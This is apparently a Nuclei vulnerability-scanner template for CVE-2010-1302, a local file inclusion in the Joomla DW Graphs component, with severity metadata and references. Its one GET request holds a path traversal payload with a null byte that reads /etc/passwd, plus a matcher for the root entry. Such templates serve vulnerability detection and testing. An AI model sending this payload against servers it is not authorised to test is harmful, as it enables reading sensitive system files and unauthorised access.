id: CVE-2010-1302

info:
  name: Joomla! Component DW Graph - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11978
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1302
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1302
    cwe-id: CWE-22
    epss-score: 0.08483
    epss-percentile: 0.94325
    cpe: cpe:2.3:a:decryptweb:com_dwgraphs:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: decryptweb
    product: com_dwgraphs
  tags: cve,cve2010,edb,joomla,lfi,graph,decryptweb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022019fc1b54e143d0f976921195ff9bc2a4140c86f0752e04a98e40386d8209faac02204b80fb7ca84ef5199ff7c526707cbc476c31bced7ceca094b2cc6b0a69da4cc1:922c64590222798bb761d5b6d8e72950